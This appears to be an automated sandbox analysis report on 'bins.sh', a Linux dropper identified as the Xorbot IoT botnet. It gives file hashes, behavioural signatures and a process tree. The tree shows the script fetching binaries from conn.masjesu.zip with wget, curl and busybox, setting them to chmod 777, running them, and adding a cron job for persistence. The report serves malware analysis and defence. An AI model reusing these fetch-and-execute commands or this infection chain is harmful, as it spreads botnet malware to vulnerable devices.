Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    08/12/2024, 20:55

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    78db96ee0ac91e7ab493a7c7b6ba585a

  • SHA1

    21c663b006cd230912e46f16c3c935f0a2b61651

  • SHA256

    ec8ab5b1a13f18a2e312d9239f247c63e38f8705a7175cca7b169fb6ff255fe0

  • SHA512

    462395820799b883467094e326d2c4b189518d4b3f0554154d12a0b5497e9695c714d26ac0a250ddc7ace9f8889ccf9e1622d52d84eac89038d781a6c921adef

  • SSDEEP

    192:So70mLEFrIvT0i6AI7Fa2IR8IBGm10r+vT0DAI7Fa2C8IBGmyoH:SA0moyvT0iMiRvT077u

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1630) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 19 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:697
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:700
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/Ze0pT2wnKOO3Qz7pzfylyLivGdss50D8ut
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:704
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/Ze0pT2wnKOO3Qz7pzfylyLivGdss50D8ut
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:720
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/Ze0pT2wnKOO3Qz7pzfylyLivGdss50D8ut
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:727
        • /bin/chmod
          chmod 777 Ze0pT2wnKOO3Qz7pzfylyLivGdss50D8ut
          2⤵
          • File and Directory Permissions Modification
          PID:729
        • /tmp/Ze0pT2wnKOO3Qz7pzfylyLivGdss50D8ut
          ./Ze0pT2wnKOO3Qz7pzfylyLivGdss50D8ut
          2⤵
          • Executes dropped EXE
          PID:730
        • /bin/rm
          rm Ze0pT2wnKOO3Qz7pzfylyLivGdss50D8ut
          2⤵
            PID:732
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/TqMZ8vQbTDkeCQwzVJiXyKvQGP3SKiL7Fz
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:733
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/TqMZ8vQbTDkeCQwzVJiXyKvQGP3SKiL7Fz
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:734
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/TqMZ8vQbTDkeCQwzVJiXyKvQGP3SKiL7Fz
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:736
          • /bin/chmod
            chmod 777 TqMZ8vQbTDkeCQwzVJiXyKvQGP3SKiL7Fz
            2⤵
            • File and Directory Permissions Modification
            PID:737
          • /tmp/TqMZ8vQbTDkeCQwzVJiXyKvQGP3SKiL7Fz
            ./TqMZ8vQbTDkeCQwzVJiXyKvQGP3SKiL7Fz
            2⤵
            • Executes dropped EXE
            PID:738
          • /bin/rm
            rm TqMZ8vQbTDkeCQwzVJiXyKvQGP3SKiL7Fz
            2⤵
              PID:740
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:741
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:761
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:779
            • /bin/chmod
              chmod 777 M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1
              2⤵
              • File and Directory Permissions Modification
              PID:786
            • /tmp/M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1
              ./M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:787
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:789
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:790
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:793
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:794
                  • /bin/rm
                    rm M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1
                    2⤵
                      PID:798
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/Z9oix8akj0tYfAvRAZtznoQTJD3SKRVPVn
                      2⤵
                      • System Network Configuration Discovery
                      PID:802
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/Z9oix8akj0tYfAvRAZtznoQTJD3SKRVPVn
                      2⤵
                      • System Network Configuration Discovery
                      PID:804
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/Z9oix8akj0tYfAvRAZtznoQTJD3SKRVPVn
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:885
                    • /bin/chmod
                      chmod 777 Z9oix8akj0tYfAvRAZtznoQTJD3SKRVPVn
                      2⤵
                      • File and Directory Permissions Modification
                      PID:892
                    • /tmp/Z9oix8akj0tYfAvRAZtznoQTJD3SKRVPVn
                      ./Z9oix8akj0tYfAvRAZtznoQTJD3SKRVPVn
                      2⤵
                      • Executes dropped EXE
                      PID:893
                    • /bin/rm
                      rm Z9oix8akj0tYfAvRAZtznoQTJD3SKRVPVn
                      2⤵
                        PID:895
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/otKaWTOFaVom6oVEVNZq35dQF0JjcVPZ8G
                        2⤵
                        • System Network Configuration Discovery
                        PID:896
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/otKaWTOFaVom6oVEVNZq35dQF0JjcVPZ8G
                        2⤵
                        • System Network Configuration Discovery
                        PID:905
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/otKaWTOFaVom6oVEVNZq35dQF0JjcVPZ8G
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:906
                      • /bin/chmod
                        chmod 777 otKaWTOFaVom6oVEVNZq35dQF0JjcVPZ8G
                        2⤵
                        • File and Directory Permissions Modification
                        PID:908
                      • /tmp/otKaWTOFaVom6oVEVNZq35dQF0JjcVPZ8G
                        ./otKaWTOFaVom6oVEVNZq35dQF0JjcVPZ8G
                        2⤵
                        • Executes dropped EXE
                        PID:909
                      • /bin/rm
                        rm otKaWTOFaVom6oVEVNZq35dQF0JjcVPZ8G
                        2⤵
                          PID:911
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/qiebMQ8uUGD04wyZZkRaqFUD1jstQdqHo5
                          2⤵
                          • System Network Configuration Discovery
                          PID:912
                        • /usr/bin/curl
                          curl -O http://conn.masjesu.zip/bins/qiebMQ8uUGD04wyZZkRaqFUD1jstQdqHo5
                          2⤵
                          • System Network Configuration Discovery
                          PID:913
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/qiebMQ8uUGD04wyZZkRaqFUD1jstQdqHo5
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:914
                        • /bin/chmod
                          chmod 777 qiebMQ8uUGD04wyZZkRaqFUD1jstQdqHo5
                          2⤵
                          • File and Directory Permissions Modification
                          PID:915
                        • /tmp/qiebMQ8uUGD04wyZZkRaqFUD1jstQdqHo5
                          ./qiebMQ8uUGD04wyZZkRaqFUD1jstQdqHo5
                          2⤵
                          • Executes dropped EXE
                          PID:916
                        • /bin/rm
                          rm qiebMQ8uUGD04wyZZkRaqFUD1jstQdqHo5
                          2⤵
                            PID:918
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/TfKrrcnEpF8Na6xSBv9aky0fc08dhZjxOX
                            2⤵
                            • System Network Configuration Discovery
                            PID:919

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/M85lhpyOmHAp2J24p33mdqe8t2qpsS73p1

                          Filesize

                          151KB

                          MD5

                          6c583043d91c55aa470c08c87058e917

                          SHA1

                          abf65a5b9bba69980278ad09356e53de8bb89439

                          SHA256

                          2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                          SHA512

                          82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                        • /tmp/TqMZ8vQbTDkeCQwzVJiXyKvQGP3SKiL7Fz

                          Filesize

                          127KB

                          MD5

                          89077b7bd4bcafca7713be43635c4862

                          SHA1

                          fc02edb8fba29ea8ee99e6157ef8560334530052

                          SHA256

                          78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                          SHA512

                          1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                        • /tmp/Z9oix8akj0tYfAvRAZtznoQTJD3SKRVPVn

                          Filesize

                          107KB

                          MD5

                          eb9c3a0de91fcf16ba17cb24608df68c

                          SHA1

                          09d95a7d70d5e115d103be51edff7c498d272fac

                          SHA256

                          dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                          SHA512

                          9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                        • /tmp/Ze0pT2wnKOO3Qz7pzfylyLivGdss50D8ut

                          Filesize

                          99KB

                          MD5

                          9438d9bc392bcf300a5583b6df5bc8f6

                          SHA1

                          375a6ae34b516f6f3eeea8030c4084f585017efa

                          SHA256

                          68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                          SHA512

                          1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                        • /tmp/otKaWTOFaVom6oVEVNZq35dQF0JjcVPZ8G

                          Filesize

                          112KB

                          MD5

                          05d7857dcead18bbd86d2935f591873c

                          SHA1

                          34d18f41ef35f93d5364ce3e24d74730a4e91985

                          SHA256

                          2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                          SHA512

                          d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                        • /tmp/qiebMQ8uUGD04wyZZkRaqFUD1jstQdqHo5

                          Filesize

                          98KB

                          MD5

                          5141342d0df8699fa32a6b066a0c592e

                          SHA1

                          8157673225bd5182f16215e2aa823a25ca2d4fbc

                          SHA256

                          54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                          SHA512

                          d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                        • /var/spool/cron/crontabs/tmp.vUkImb

                          Filesize

                          210B

                          MD5

                          b3610d6e385a9441ec9a921a3c628566

                          SHA1

                          ea4ae65c0d4243b473bd7cd71100cf67a3ff9943

                          SHA256

                          e2a3e6750e1a2b54a3df32d0714ef80334913a0fe46496cf9331e49f35f57381

                          SHA512

                          7fb492cbe08fdbb73bf99a2c566fb4aa332cd8deddea5ce622add2fd63cf515ba8afcbaf7099fe5bb30a0093f990831f1dea6a58f4126b47e7884254c1968c5b